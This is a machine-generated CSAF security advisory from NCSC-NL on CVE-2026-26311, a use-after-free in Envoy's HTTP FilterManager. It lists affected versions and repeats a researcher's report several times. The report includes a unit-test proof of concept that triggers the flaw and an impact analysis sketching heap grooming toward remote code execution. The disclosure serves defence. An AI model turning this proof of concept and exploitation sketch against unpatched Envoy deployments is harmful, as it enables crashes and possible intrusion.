{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-26311",
        "tracking": {
            "current_release_date": "2026-03-27T21:10:34.309278Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-26311",
            "initial_release_date": "2026-03-10T19:19:09.453369Z",
            "revision_history": [
                {
                    "date": "2026-03-10T19:19:09.453369Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T19:19:14.971807Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-10T19:38:54.370575Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T19:38:57.903071Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T21:27:51.473217Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T21:27:56.587796Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T21:39:14.423567Z",
                    "number": "7",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-11T00:04:10.426106Z",
                    "number": "8",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-11T00:14:15.203974Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T15:00:51.057514Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-11T15:00:53.745393Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T16:26:44.208781Z",
                    "number": "12",
                    "summary": "Products connected (4).| Product Identifiers created (4).| Exploits created (1)."
                },
                {
                    "date": "2026-03-11T16:26:48.221219Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-12T12:16:23.213813Z",
                    "number": "14",
                    "summary": "Source connected.| CVE status created. (valid)| Products connected (5).| References created (4)."
                },
                {
                    "date": "2026-03-12T12:16:25.023434Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T15:29:50.889319Z",
                    "number": "16",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:54.052234Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:44:03.579561Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:44:07.375893Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T09:06:33.599828Z",
                    "number": "20",
                    "summary": "Products connected (1).| References created (3)."
                },
                {
                    "date": "2026-03-27T09:06:35.154648Z",
                    "number": "21",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "21"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/envoy proxy",
                                "product": {
                                    "name": "vers:unknown/envoy proxy",
                                    "product_id": "CSAFPID-5810304",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:google:cloud_platform:envoy_proxy"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/istio",
                                "product": {
                                    "name": "vers:unknown/istio",
                                    "product_id": "CSAFPID-5810308",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:google:cloud_platform:istio"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/service mesh <1.26.8-asm.3",
                                "product": {
                                    "name": "vers:unknown/service mesh <1.26.8-asm.3",
                                    "product_id": "CSAFPID-5810305"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/service mesh <1.27.8-asm.7",
                                "product": {
                                    "name": "vers:unknown/service mesh <1.27.8-asm.7",
                                    "product_id": "CSAFPID-5810307"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/service mesh <1.28.5-asm.9",
                                "product": {
                                    "name": "vers:unknown/service mesh <1.28.5-asm.9",
                                    "product_id": "CSAFPID-5810306"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Cloud Platform"
                    }
                ],
                "category": "vendor",
                "name": "Google"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.37.0",
                                "product": {
                                    "name": "vers:unknown/1.37.0",
                                    "product_id": "CSAFPID-5780406",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:envoyproxy:envoy:1.37.0:*:*:*:*:*:*:*",
                                        "purl": "pkg:golang/github.com/envoyproxy/envoy@1.37.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.34.13",
                                "product": {
                                    "name": "vers:unknown/<1.34.13",
                                    "product_id": "CSAFPID-5777010",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=1.34.12",
                                "product": {
                                    "name": "vers:unknown/>=0|<=1.34.12",
                                    "product_id": "CSAFPID-5780409"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.35.0|<1.35.8",
                                "product": {
                                    "name": "vers:unknown/>=1.35.0|<1.35.8",
                                    "product_id": "CSAFPID-5795752",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.35.0|<1.35.9",
                                "product": {
                                    "name": "vers:unknown/>=1.35.0|<1.35.9",
                                    "product_id": "CSAFPID-5777009"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.35.0|<=1.35.8",
                                "product": {
                                    "name": "vers:unknown/>=1.35.0|<=1.35.8",
                                    "product_id": "CSAFPID-5780408"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.36.0|<1.36.5",
                                "product": {
                                    "name": "vers:unknown/>=1.36.0|<1.36.5",
                                    "product_id": "CSAFPID-5777008",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.36.0|<=1.36.4",
                                "product": {
                                    "name": "vers:unknown/>=1.36.0|<=1.36.4",
                                    "product_id": "CSAFPID-5780407"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=1.37.0|<1.37.1",
                                "product": {
                                    "name": "vers:unknown/>=1.37.0|<1.37.1",
                                    "product_id": "CSAFPID-5777007"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Envoy"
                    }
                ],
                "category": "vendor",
                "name": "Envoy Proxy"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/unknown",
                                "product": {
                                    "name": "vers:unknown/unknown",
                                    "product_id": "CSAFPID-1317175",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/o:redhat:enterprise_linux:5::server"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Enterprise Linux"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-26311",
            "cwe": {
                "id": "CWE-416",
                "name": "Use After Free"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "**Note:**\nThis vulnerability was originally reported to the Google OSS VRP (Issue ID: [477542544](https://issuetracker.google.com/issues/477542544)). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.\n\n**Technical Details**\nI have identified a logic vulnerability in Envoy's HTTP connection manager (`FilterManager`) that allows for **Zombie Stream Filter Execution**. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.\n\n**Mechanism:**\nThe vulnerability resides in `source/common/http/filter_manager.cc` within the `FilterManager::decodeData` method.\n\nWhen an HTTP/2 stream encounters a reset condition (e.g., `StreamIdleTimeout`, `OverloadManager` limits, or a local reset triggered by a filter), Envoy calls `onResetStream`. This method:\n1.  Sets the internal state `state_.saw_downstream_reset_ = true`.\n2.  Invokes `onDestroy()` on all filters in the chain (allowing them to release resources/pointers).\n3.  Schedules the `ActiveStream` object for **deferred deletion** (cleanup happens later in the event loop).\n\n**The Flaw:**\nThe `ActiveStream` object remains valid in memory during the deferred deletion window. If a `DATA` frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes `ActiveStream::decodeData`, which cascades to `FilterManager::decodeData`.\n\n`FilterManager::decodeData` **fails to check the `saw_downstream_reset_` flag**. It iterates over the `decoder_filters_` list and invokes `decodeData()` on filters that have already received `onDestroy()`.\n\n**Root Cause Code Location:**\nFile: `source/common/http/filter_manager.cc`\nFunction: `FilterManager::decodeData`\n\n```cpp\nvoid FilterManager::decodeData(...) {\n  if (stopDecoderFilterChain()) { return; }\n\n  // Vulnerability: Missing check for state_.saw_downstream_reset_\n  // Execution proceeds into the loop even if the stream is logically dead.\n\n  auto trailers_added_entry = decoder_filters_.end();\n  for (; entry != decoder_filters_.end(); entry++) {\n      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...\n  }\n}\n```\n\n**Suggested Fix:**\nAdd an explicit state check at the beginning of `FilterManager::decodeData`.\n\n```cpp\n// Prevent execution on streams that have been reset but not yet destroyed.\nif (state_.saw_downstream_reset_) {\n  return;\n}\n```\n\n---\n\n## Impact Analysis\n\n**Who can exploit this:**\nAny remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.\n\n**Impact & Gain:**\n**1. Memory Corruption & Potential Remote Code Execution:**\nWhile the immediate symptom is a crash (DoS), the underlying primitive is a **Use-After-Free (CWE-416)**.\n* **Mechanism:** When `onDestroy()` is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.\n* **Exploitation:** By forcing `decodeData()` to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the \"Zombie\" `decodeData` call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to **Remote Code Execution (RCE)**.\n* **Risk Amplification:** This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where `onDestroy` logic is relied upon for safety.\n\n**2. Security Control Bypass:**\nThe vulnerability defeats Envoy's \"Fail-Closed\" security architecture.\n* **Scenario:** If a stream is reset due to a security violation (e.g., `StreamIdleTimeout`, `OverloadManager` rejection, or WAF triggering), this vulnerability allows the attacker to **bypass the termination**.\n* **Result:** The attacker can force the processing of \"Data\" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.\n\n---\n\n## Proof of Concept (Unit Test)\n\n**Description:**\nThe attached C++ unit test (`zombie_stream_poc_test.cc`) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's `decodeData` callback is invoked on the reset stream.\n\n```cpp\n#include \"test/common/http/conn_manager_impl_test_base.h\"\n#include \"gmock/gmock.h\"\n#include \"gtest/gtest.h\"\n\nusing testing::_;\nusing testing::Invoke;\nusing testing::NiceMock;\nusing testing::Return;\n\nnamespace Envoy {\nnamespace Http {\n\n/**\n * Proof of Concept for \"Zombie Stream Filter Execution\" (HTTP/2 Reset Re-entrancy)\n * * Logic flow:\n * 1. Open a stream with HEADERS.\n * 2. Force a stream reset (simulating an Overload or Timeout).\n * 3. Immediately inject DATA into the stream.\n * 4. ASSERT that the filter's decodeData is called despite the stream being reset.\n */\nclass ZombieStreamPocTest : public HttpConnectionManagerImplTest {\n};\n\nTEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {\n  setup(SetupOpts().setTracing(false));\n\n  // 1. Setup a mock filter\n  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());\n   \n  // Vuln confirmation:\n  // We expect decodeData to be called on this filter even though the stream is reset.\n  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).\n  EXPECT_CALL(*filter, decodeData(_, _))\n      .Times(1)\n      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {\n          ENVOY_LOG_MISC(error, \"!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!\");\n          return FilterDataStatus::Continue;\n      }));\n\n  EXPECT_CALL(*filter, decodeHeaders(_, false))\n      .WillOnce(Return(FilterHeadersStatus::StopIteration));\n\n  // Register the filter\n  EXPECT_CALL(filter_factory_, createFilterChain(_))\n      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {\n        auto factory = createDecoderFilterFactoryCb(filter);\n        callbacks.setFilterConfigName(\"vulnerable_filter\");\n        factory(callbacks);\n        return true;\n      }));\n\n  // 2. Start the stream\n  EXPECT_CALL(*codec_, dispatch(_))\n      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n        decoder_ = &conn_manager_->newStream(response_encoder_);\n        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n            {\":authority\", \"host\"}, {\":path\", \"/\"}, {\":method\", \"POST\"}}};\n        decoder_->decodeHeaders(std::move(headers), false);\n        return Http::okStatus();\n      }));\n\n  // Dispatch headers\n  Buffer::OwnedImpl header_buffer(\"headers\");\n  conn_manager_->onData(header_buffer, false);\n\n  // 3. Trigger a Reset on the ActiveStream\n  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).\n  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);\n  \n  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()\n  active_stream->onResetStream(StreamResetReason::LocalReset, \"simulated_overload\");\n\n  // 4. Attack: Send DATA to the \"Zombie\" stream\n  // The ActiveStream object is still alive in the deferred delete list.\n  Buffer::OwnedImpl malicious_payload(\"attacker_data\");\n   \n  // This call reaches the filter because FilterManager::decodeData misses the check!\n  active_stream->decodeData(malicious_payload, false);\n}\n\n} // namespace Http\n} // namespace Envoy\n```",
                    "title": "github - https://github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "description",
                    "text": "Envoy is a high-performance edge/middle/service proxy. Prior to 1.37.1, 1.36.5, 1.35.8, and 1.34.13, a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up. The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method. The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData. FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy(). This vulnerability is fixed in 1.37.1, 1.36.5, 1.35.8, and 1.34.13.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-26311"
                },
                {
                    "category": "description",
                    "text": "Envoy is a high-performance edge/middle/service proxy. Prior to 1.37.1, 1.36.5, 1.35.8, and 1.34.13, a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up. The vulnerability resides in source/common/http/filter_manager.cc within the FilterManager::decodeData method. The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData. FilterManager::decodeData fails to check the saw_downstream_reset_ flag. It iterates over the decoder_filters_ list and invokes decodeData() on filters that have already received onDestroy(). This vulnerability is fixed in 1.37.1, 1.36.5, 1.35.8, and 1.34.13.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-26311"
                },
                {
                    "category": "description",
                    "text": "**Note:**\nThis vulnerability was originally reported to the Google OSS VRP (Issue ID: [477542544](https://issuetracker.google.com/issues/477542544)). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.\n\n**Technical Details**\nI have identified a logic vulnerability in Envoy's HTTP connection manager (`FilterManager`) that allows for **Zombie Stream Filter Execution**. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.\n\n**Mechanism:**\nThe vulnerability resides in `source/common/http/filter_manager.cc` within the `FilterManager::decodeData` method.\n\nWhen an HTTP/2 stream encounters a reset condition (e.g., `StreamIdleTimeout`, `OverloadManager` limits, or a local reset triggered by a filter), Envoy calls `onResetStream`. This method:\n1.  Sets the internal state `state_.saw_downstream_reset_ = true`.\n2.  Invokes `onDestroy()` on all filters in the chain (allowing them to release resources/pointers).\n3.  Schedules the `ActiveStream` object for **deferred deletion** (cleanup happens later in the event loop).\n\n**The Flaw:**\nThe `ActiveStream` object remains valid in memory during the deferred deletion window. If a `DATA` frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes `ActiveStream::decodeData`, which cascades to `FilterManager::decodeData`.\n\n`FilterManager::decodeData` **fails to check the `saw_downstream_reset_` flag**. It iterates over the `decoder_filters_` list and invokes `decodeData()` on filters that have already received `onDestroy()`.\n\n**Root Cause Code Location:**\nFile: `source/common/http/filter_manager.cc`\nFunction: `FilterManager::decodeData`\n\n```cpp\nvoid FilterManager::decodeData(...) {\n  if (stopDecoderFilterChain()) { return; }\n\n  // Vulnerability: Missing check for state_.saw_downstream_reset_\n  // Execution proceeds into the loop even if the stream is logically dead.\n\n  auto trailers_added_entry = decoder_filters_.end();\n  for (; entry != decoder_filters_.end(); entry++) {\n      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...\n  }\n}\n```\n\n**Suggested Fix:**\nAdd an explicit state check at the beginning of `FilterManager::decodeData`.\n\n```cpp\n// Prevent execution on streams that have been reset but not yet destroyed.\nif (state_.saw_downstream_reset_) {\n  return;\n}\n```\n\n---\n\n## Impact Analysis\n\n**Who can exploit this:**\nAny remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.\n\n**Impact & Gain:**\n**1. Memory Corruption & Potential Remote Code Execution:**\nWhile the immediate symptom is a crash (DoS), the underlying primitive is a **Use-After-Free (CWE-416)**.\n* **Mechanism:** When `onDestroy()` is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.\n* **Exploitation:** By forcing `decodeData()` to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the \"Zombie\" `decodeData` call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to **Remote Code Execution (RCE)**.\n* **Risk Amplification:** This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where `onDestroy` logic is relied upon for safety.\n\n**2. Security Control Bypass:**\nThe vulnerability defeats Envoy's \"Fail-Closed\" security architecture.\n* **Scenario:** If a stream is reset due to a security violation (e.g., `StreamIdleTimeout`, `OverloadManager` rejection, or WAF triggering), this vulnerability allows the attacker to **bypass the termination**.\n* **Result:** The attacker can force the processing of \"Data\" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.\n\n---\n\n## Proof of Concept (Unit Test)\n\n**Description:**\nThe attached C++ unit test (`zombie_stream_poc_test.cc`) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's `decodeData` callback is invoked on the reset stream.\n\n```cpp\n#include \"test/common/http/conn_manager_impl_test_base.h\"\n#include \"gmock/gmock.h\"\n#include \"gtest/gtest.h\"\n\nusing testing::_;\nusing testing::Invoke;\nusing testing::NiceMock;\nusing testing::Return;\n\nnamespace Envoy {\nnamespace Http {\n\n/**\n * Proof of Concept for \"Zombie Stream Filter Execution\" (HTTP/2 Reset Re-entrancy)\n * * Logic flow:\n * 1. Open a stream with HEADERS.\n * 2. Force a stream reset (simulating an Overload or Timeout).\n * 3. Immediately inject DATA into the stream.\n * 4. ASSERT that the filter's decodeData is called despite the stream being reset.\n */\nclass ZombieStreamPocTest : public HttpConnectionManagerImplTest {\n};\n\nTEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {\n  setup(SetupOpts().setTracing(false));\n\n  // 1. Setup a mock filter\n  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());\n   \n  // Vuln confirmation:\n  // We expect decodeData to be called on this filter even though the stream is reset.\n  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).\n  EXPECT_CALL(*filter, decodeData(_, _))\n      .Times(1)\n      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {\n          ENVOY_LOG_MISC(error, \"!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!\");\n          return FilterDataStatus::Continue;\n      }));\n\n  EXPECT_CALL(*filter, decodeHeaders(_, false))\n      .WillOnce(Return(FilterHeadersStatus::StopIteration));\n\n  // Register the filter\n  EXPECT_CALL(filter_factory_, createFilterChain(_))\n      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {\n        auto factory = createDecoderFilterFactoryCb(filter);\n        callbacks.setFilterConfigName(\"vulnerable_filter\");\n        factory(callbacks);\n        return true;\n      }));\n\n  // 2. Start the stream\n  EXPECT_CALL(*codec_, dispatch(_))\n      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n        decoder_ = &conn_manager_->newStream(response_encoder_);\n        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n            {\":authority\", \"host\"}, {\":path\", \"/\"}, {\":method\", \"POST\"}}};\n        decoder_->decodeHeaders(std::move(headers), false);\n        return Http::okStatus();\n      }));\n\n  // Dispatch headers\n  Buffer::OwnedImpl header_buffer(\"headers\");\n  conn_manager_->onData(header_buffer, false);\n\n  // 3. Trigger a Reset on the ActiveStream\n  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).\n  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);\n  \n  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()\n  active_stream->onResetStream(StreamResetReason::LocalReset, \"simulated_overload\");\n\n  // 4. Attack: Send DATA to the \"Zombie\" stream\n  // The ActiveStream object is still alive in the deferred delete list.\n  Buffer::OwnedImpl malicious_payload(\"attacker_data\");\n   \n  // This call reaches the filter because FilterManager::decodeData misses the check!\n  active_stream->decodeData(malicious_payload, false);\n}\n\n} // namespace Http\n} // namespace Envoy\n```",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-84xm-r438-86px.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "**Note:**\nThis vulnerability was originally reported to the Google OSS VRP (Issue ID: [477542544](https://issuetracker.google.com/issues/477542544)). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.\n\n**Technical Details**\nI have identified a logic vulnerability in Envoy's HTTP connection manager (`FilterManager`) that allows for **Zombie Stream Filter Execution**. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.\n\n**Mechanism:**\nThe vulnerability resides in `source/common/http/filter_manager.cc` within the `FilterManager::decodeData` method.\n\nWhen an HTTP/2 stream encounters a reset condition (e.g., `StreamIdleTimeout`, `OverloadManager` limits, or a local reset triggered by a filter), Envoy calls `onResetStream`. This method:\n1.  Sets the internal state `state_.saw_downstream_reset_ = true`.\n2.  Invokes `onDestroy()` on all filters in the chain (allowing them to release resources/pointers).\n3.  Schedules the `ActiveStream` object for **deferred deletion** (cleanup happens later in the event loop).\n\n**The Flaw:**\nThe `ActiveStream` object remains valid in memory during the deferred deletion window. If a `DATA` frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes `ActiveStream::decodeData`, which cascades to `FilterManager::decodeData`.\n\n`FilterManager::decodeData` **fails to check the `saw_downstream_reset_` flag**. It iterates over the `decoder_filters_` list and invokes `decodeData()` on filters that have already received `onDestroy()`.\n\n**Root Cause Code Location:**\nFile: `source/common/http/filter_manager.cc`\nFunction: `FilterManager::decodeData`\n\n```cpp\nvoid FilterManager::decodeData(...) {\n  if (stopDecoderFilterChain()) { return; }\n\n  // Vulnerability: Missing check for state_.saw_downstream_reset_\n  // Execution proceeds into the loop even if the stream is logically dead.\n\n  auto trailers_added_entry = decoder_filters_.end();\n  for (; entry != decoder_filters_.end(); entry++) {\n      // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...\n  }\n}\n```\n\n**Suggested Fix:**\nAdd an explicit state check at the beginning of `FilterManager::decodeData`.\n\n```cpp\n// Prevent execution on streams that have been reset but not yet destroyed.\nif (state_.saw_downstream_reset_) {\n  return;\n}\n```\n\n---\n\n## Impact Analysis\n\n**Who can exploit this:**\nAny remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.\n\n**Impact & Gain:**\n**1. Memory Corruption & Potential Remote Code Execution:**\nWhile the immediate symptom is a crash (DoS), the underlying primitive is a **Use-After-Free (CWE-416)**.\n* **Mechanism:** When `onDestroy()` is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.\n* **Exploitation:** By forcing `decodeData()` to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the \"Zombie\" `decodeData` call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to **Remote Code Execution (RCE)**.\n* **Risk Amplification:** This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where `onDestroy` logic is relied upon for safety.\n\n**2. Security Control Bypass:**\nThe vulnerability defeats Envoy's \"Fail-Closed\" security architecture.\n* **Scenario:** If a stream is reset due to a security violation (e.g., `StreamIdleTimeout`, `OverloadManager` rejection, or WAF triggering), this vulnerability allows the attacker to **bypass the termination**.\n* **Result:** The attacker can force the processing of \"Data\" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.\n\n---\n\n## Proof of Concept (Unit Test)\n\n**Description:**\nThe attached C++ unit test (`zombie_stream_poc_test.cc`) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's `decodeData` callback is invoked on the reset stream.\n\n```cpp\n#include \"test/common/http/conn_manager_impl_test_base.h\"\n#include \"gmock/gmock.h\"\n#include \"gtest/gtest.h\"\n\nusing testing::_;\nusing testing::Invoke;\nusing testing::NiceMock;\nusing testing::Return;\n\nnamespace Envoy {\nnamespace Http {\n\n/**\n * Proof of Concept for \"Zombie Stream Filter Execution\" (HTTP/2 Reset Re-entrancy)\n * * Logic flow:\n * 1. Open a stream with HEADERS.\n * 2. Force a stream reset (simulating an Overload or Timeout).\n * 3. Immediately inject DATA into the stream.\n * 4. ASSERT that the filter's decodeData is called despite the stream being reset.\n */\nclass ZombieStreamPocTest : public HttpConnectionManagerImplTest {\n};\n\nTEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {\n 